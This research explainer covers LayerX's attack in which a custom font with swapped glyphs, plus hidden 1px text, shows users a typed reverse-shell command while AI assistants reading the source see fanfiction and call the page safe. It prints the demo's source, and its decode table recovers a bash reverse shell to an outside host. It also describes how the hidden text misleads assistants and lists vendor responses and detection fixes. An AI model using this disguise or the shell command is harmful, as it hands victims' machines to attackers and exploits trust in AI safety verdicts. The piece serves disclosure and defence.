Research explainer · XiaoHu

LayerX found a “visual fraud” attack that tricks AI assistants with one custom font

One custom font and a few lines of CSS are enough—no JavaScript, no browser bug.
In 60 seconds
  • When you ask an AI if a page is safe, it reads the page source; your eyes see what the browser paints. LayerX made those two things completely different.
  • On screen: four lines of big green text telling you to open a terminal and type a command that hands your machine over. In the same place, the AI reads BioShock fanfiction—and says the page is safe.
  • Eleven major assistants failed the test—ChatGPT, Claude, Gemini, and Grok among them.
  • After disclosure, six of seven vendors never fixed it; most closed the case as out of scope.
  • This site reverse-engineered the font and found one check that exposes the trick on the spot.
⚑ This research comes from browser security firm LayerX, which sells products that defend against attacks like this—so it has reason to play up the severity. Assistant testing finished in December 2025. Paragraphs marked “this site” are our own checks, not from LayerX’s report or from BleepingComputer’s coverage.
Same page, two stories

Same page: you see a dangerous command, the AI sees game fanfiction

Browser security firm LayerX published a scam aimed at the moment you ask an AI “is this page safe?” One custom font plus a few lines of CSS make the same page show people one thing and AI assistants another. The old move was hiding instructions to bait the model; this flips it—the page tells the AI the truth and lies to you, then uses the AI to vouch for the page.

Researchers built a demo themed as BioShock fanfiction. Follow the steps, it promises, and you’ll unlock a hidden easter egg. Four lines of big green text appear on screen; the first opens with “Would you kindly”—the mind-control phrase from BioShock, perfect as a hook—then tells you to open a terminal and type a command by hand. That command is a reverse shell: you initiate a connection to the attacker’s machine, and once you’re connected they can run anything on yours. Outbound connections usually sail past firewalls, so this is easier than breaking in.

Same URL, same file You see Would you kindly open your terminal and type bash … Do it → lose your PC AI reads BioShock fanfiction plus undecodable noise Verdict: page is safe No threats found
One page file, two audiences, two payloads. Left: what the browser paints for humans. Right: what the AI fetches and parses. Diagram drawn by this site from the demo’s real content.

Below is the researchers’ real render screenshot—exactly what a victim would see on screen.

Demo page rendered in a browser: four lines of large green text on black, telling the user to open a terminal and type a reverse shell command by hand
How the demo actually renders. Line three is a reverse shell—running it hands your machine to the attacker. Shown here as evidence only; do not type it. Image: LayerX.

In December 2025, LayerX ran this page against 11 AI assistants: ChatGPT, Claude, Copilot, Gemini, Grok, Perplexity, Leo, Sigma, Dia, Fellou, and Genspark. None caught it. They even tried prompts designed to force the assistant to find the problem—same result.

How it works

Three steps: hide the fanfiction at 1px, encode the command as gibberish, let a font paint it as English

This site pulled the demo’s source. The whole page is three moves, under twenty lines total.

Step 1 Shrink fanfiction to 1px, black on black Invisible to eyes; AI still reads the source Step 2 Store the on-screen command as gibberish AI treats it as undecodable noise and skips it Step 3 Load a font with swapped letter shapes Browser renders: gibberish becomes English Would you kindly open your terminal…
All three moves have to stack: the first two feed the AI harmless content; the third shows people the harmful one. Diagram drawn by this site from the demo source.

Step 1: Shrink the fanfiction to 1px, black on black

Those fanfiction blocks sit in tags like this. The page background is pure black, so black text on black is already gone—and at 1px high it’s about one-seventeenth of the line you’re reading now (~17px).

Demo source · the hidden blocks
<p style="color: #000000;font-size: 1px;">This website was created as a tribute to BioShock</p>

The page has four such 1px hidden blocks: two long fanfiction pieces (5,014 and 6,570 characters), one tribute line, and one five-word stub. They sit intact in the source, so when an AI scrapes the page, that’s mostly what it gets.

Step 2: Encode the on-screen command as gibberish in the source

Dead center is an ordinary <div> with four lines that look like a base64 blob. An AI’s best guess is “high-entropy string, no key, can’t decode”—so it treats the block as noise and moves on.

Demo source · the on-screen block (as written in code)
<div> vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao
<br>RjJhAgRmAhnhJmshwAPsAsgrh
<br>fcaoADPAHBAFwhuFsJrF859E806E8E35F6266A2HB8
<br>PsAOPUUAcUUROAgRmAsRAahhAgRmbAhcashbAhWWAxbRVAMcrsmbh </div>

These four lines are the four big green lines on screen. The first line’s 49 characters render as exactly “Would you kindly open your terminal and type bash”—also 49 characters.

Something neither the report nor the coverage mentioned: right above that gibberish box sits another 1px hidden line, five words only—LLM Generation Seed:. So the AI’s reading order is “generation seed:” followed by a random-looking string. It doesn’t have to guess what the blob is; the attacker already labeled it. That line is missing from the researchers’ source screenshot, so the page was changed after the shot.

Step 3: Attach a font with rewritten letter shapes

The page head loads a font file and applies it site-wide. Size 48, green on black—the look you see on screen.

Demo source · font and colors
@font-face {
  font-family: 'fontie';
  src: url('RaptureFont.ttf') format('truetype');
}
body {
  font-family: 'fontie', sans-serif;
  font-size: 48px;
  background: #000;
  color: #0f0;
}

In this font, letter shapes are swapped: the glyph named c draws an a; the one named v draws a W. When the browser paints with it, the gibberish becomes English.

Each move is fully legal on its own. CSS can shrink text and match its color to the background; a <div> can hold any string; pages can ship their own fonts. No JavaScript, no browser vulnerability. Kill JS entirely and the page still works.

HTML source screenshot of the demo: green boxes mark fanfiction shrunk to 1px; red box marks the encoded gibberish block
Researchers’ annotated source. Green: fanfiction at 1px, black on black—invisible to people, readable to AI. Red: the gibberish block—people see English after font rendering; AI sees noise. Image: LayerX.
Blind spot

Why the AI never noticed: it only reads page source; the browser loads the font and redraws

When an AI fetches a page, it gets the source—HTML tags, structure, and text, not a fully rendered page. It does not run a full browser rendering pipeline, download font files, or figure out what shape a letter finally paints. LayerX calls these assistants non-agentic: they fetch and parse, but they don’t fully render or inspect custom glyph mappings.

Same page file AI path Reads text in the source Never downloads the font Skips gibberish as noise Browser path Applies CSS; hides fanfiction Downloads that font Repaints every letter from its glyph What it tells you This page looks safe What’s on your screen A reverse shell command
Two paths, one file, opposite conclusions. This site’s redraw of LayerX’s attack flow diagram.

Everyone quietly assumes page source is the content and fonts are just styling—that fonts don’t change meaning. That assumption almost always holds, so nobody checks it. And because it’s usually safe, this trick works so well.

Like a doctored contract

Picture a contract: the document file says one thing, but the printer’s type molds were swapped—every slug casts a different letter. The proofreader checks the file; the signer reads the printed page. Both did their jobs. They just agreed on two different contracts.

There’s a second cost: the assistant doesn’t just miss the problem—it tells you the page looks safe.

When an attacker builds a malicious page and gets an AI assistant to call it safe, they co-opt that assistant’s authority and borrow its credibility to back their own claim.

LayerX research report (this site’s translation)
LayerX attack flow: one HTML DOM enters an AI assistant and a browser render engine—the first calls the page safe; the second shows the user a reverse shell command
Researchers’ original attack flow. Left path—assistant: reads raw HTML, sees gibberish and fanfiction, ignores glyph mapping, concludes “page looks safe.” Right path—browser engine: applies CSS, loads the custom font, remaps glyphs, hides the fanfiction, shows the decoded content—a reverse shell. Image: LayerX.

Scope matters: this hits assistants that read code without rendering. An assistant that truly renders the page and inspects a screenshot would, in theory, see those four green lines. LayerX didn’t test that class—every target was non-agentic.

Same trust trick, different scam
You ask AI to write code; it recommends software that doesn’t exist—and attackers already planted malware under that name
Again, trust in the model’s output is the weapon: the AI invents a package name that isn’t real; attackers register it with malware and wait for you to install.
This site’s check

We opened the poisoned font: letter shapes were rewritten; the mapping table is clean

This section is not from LayerX’s report or any coverage—it is this site’s own check: download the demo font, read its internal tables, and re-render the gibberish with it.

Fonts have a cmap table that maps “character a → which glyph to use.” If you suspect a font was tampered with, that’s the first place you’d look. This font’s cmap is completely normal: character a points at glyph a, character 0 at glyph zero—5,918 mappings, zero anomalies. The GSUB and GPOS tables that handle glyph substitution and kerning don’t even exist.

What was changed is the outline data in the glyf table—how each glyph is drawn. The glyph named a contains the shape of an s. A few numbers you can measure:

0

cmap anomalies—all 5,918 character mappings clean

0 strokes

Glyph A draws nothing—blank on screen, standing in for spaces

2025

Width of glyph v—widest of 26 lowercase glyphs, because it draws a W

169 chars

All four gibberish lines map one-to-one, zero collisions

Map the first 16 characters of line one and the swap is obvious:

Top = source characters · Bottom = what’s painted v R m U w A g R m A i P j w U g W o u l d y o u k i n d l y Those two A’s draw nothing—two spaces on screen (dashed boxes)
Source string vRmUwAgRmAiPjwUg aligned cell by cell with “Would you kindly.” The two red A’s have no outlines in this font—they paint as blanks. Drawn by this site after reading tables with fontTools and re-rendering with Pillow.

The whole swap is strictly one-to-one. Line one is 49 characters in, 49 out—no extras, no missing. All 169 characters across four lines map cleanly, with no collisions. Character mapping:

a s
b r
c a
d E
e L
f b
g y
h e
i k
j n
k X
l U
m u
n x
o h
p V
q M
r p
s t
t F
u v
v W
w d
x f
y D
z j
A space
B &
D -
E .
F /
H >
J c
M R
O w
P i
R o
U l
V m
W g
0 6
1 5
2 0
3 4
4 3
5 9
6 8
7 7
8 1
9 2
Left: characters in the page source. Right: what this font actually paints (green-backed 14 cells are uppercase—easy to miss). The table covers all 38 character types used in the four ciphertext lines; swap cell by cell and the lines fully decode—verify yourself. Extracted by this site via per-character rendering with fontTools.
One direct consequence: among LayerX’s four vendor recommendations is “fetch the font, check character-to-glyph mapping tables, look for anomalous substitution patterns.” For this demo, checking the mapping table finds nothing—that table is clean. Detection has to go one layer deeper and compare glyph outlines.
Where it breaks

The trick has a flaw: copy the on-screen line and you get gibberish—so the attack needs you to type by hand

Select that command on screen and copy it. What lands in the clipboard is the source characters—the gibberish—not what your eyes saw. Browsers copy the characters themselves; glyph shapes don’t travel with them.

Selected on screen

Would you kindly open your terminal…

What pastes

vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao

Copy-paste blows the cover immediately. Comparison diagram restored by this site from the font’s swap map.

So this demo has to get the victim to type the command by hand. The verb on the page is “type”—nowhere does it say “copy.” That limit is only for this page: an attacker who rewrites the clipboard with a script can paste the decoded command, so the check below is not a silver bullet.

Turn that around and you have a ready self-check. Reader mode, or turning off custom fonts, also kills the disguise on contact—it depends on the page’s own font. Switch to the system font and the line falls back to gibberish.

✅ How not to fall for this
The last three items are self-checks this site derived from the verified mechanism—not wording from LayerX’s report. The first comes from the report and coverage.
How vendors answered

Only Microsoft fixed it among seven; Google raised severity, then downgraded and closed

In December 2025, LayerX reported the finding to each vendor (private notice first, public later after an agreed window—responsible disclosure). Six of seven never fixed it, for different reasons: four said out of scope on first contact; Google accepted then reversed; Perplexity called it a general LLM limitation. Two responses boiled down to “this is scamming people, not a break of our system”—what security people call social engineering.

→ Table scrolls left/right; column four is each vendor’s stated reason
VendorSubmittedClosedStated reason
Microsoft2025-12-16PendingAccepted Dec 17; opened a case at MSRC (Microsoft Security Response Center). The only one of seven to fully fix it. Case still open—Microsoft required a full 90 days before public disclosure.
Anthropic2025-12-162025-12-16Per policy, “social engineering (including phishing)” and “content issues with model prompts and responses” are out of scope.
Dia2025-12-142025-12-16Out of project scope: prompt injection that causes misinformation, unexpected behavior, or denial of service is explicitly excluded.
OpenAI2025-12-162025-12-17As submitted, impact too low to enter severity triage; this class of issue is already listed as out of scope.
Google2025-12-162026-01-27Initially P2 (high severity), later downgraded and closed: no significant user harm, and heavily dependent on social engineering.
Perplexity2025-12-142025-12-17A known limitation of how large language models handle external web content—not a flaw in their own security controls.
xAI2025-12-162025-12-17Model issues are outside this program’s scope.
Submit and close dates, and each vendor’s wording, from LayerX’s disclosure timeline; wording translated by this site.

More than seven months have passed since the December 2025 tests. This site found no public evidence that the others quietly fixed anything. One fact is certain: the demo page and font file are still live. Fetch them as plain text and you still get only fanfiction and gibberish.

Fixes

LayerX’s fix path: compare a full render to the source, and treat fonts as an attack surface

The report gives vendors four detection steps, plus one rule about how assistants should talk.

1. Render fully, then compare to source text Big gap means someone meddled in the render layer 2. Scan for hidden-content traits Same color, near-zero opacity, <5px, off-screen, excess volume 3. Treat the font itself as an attack surface This site: mapping tables aren’t enough—compare glyph outlines 4. Raise risk when the two faces disagree Harmless source, executable on screen—most suspicious Can’t do these four? Don’t say “this page is safe.”
Four detection steps plus one confidence rule. The measured note under item three is from this site’s font check; the rest is from the report.

The first is the most solid of the four: one path takes only source text; the other fully renders with fonts and extracts what is visible; then you diff them. It needs no prior knowledge of the attack. Fonts, opacity, off-screen placement—if what people see doesn’t match what the code says, it flags.

The fifth is about how assistants speak: if one can’t render the page, analyze custom fonts, and compare visual to source, it should not say “this page is safe.” For this case, changing that last sentence is cheaper than shipping the other four.

A web page is more than HTML. Meaning can be moved into the rendering pipeline. Any system that only analyzes text is blind by design.

LayerX report closing line (this site’s translation)
Source
New font-rendering trick hides malicious commands from AI toolsBill Toulas · BleepingComputer·Original·2026-03-17
This site’s note
Three screenshots (render, annotated source, attack flow) are from the LayerX research report. Five SVG diagrams, the copy-paste comparison, and the decode table were drawn by this site. The “This site’s check” section, the copy-paste tell, and the last three self-check items come from this site’s July 30, 2026 reproduction: download the demo font, read its tables with fontTools, re-render the four lines with Pillow—none of that is from the report or coverage. The demo link is for your own verification only; do not run the command on the page. Disclosure timeline dates and vendor wording are from the report (translated here). Research published March 17, 2026. LayerX’s acquisition by Akamai for about $205 million closed July 2, 2026; it had not closed when the research shipped.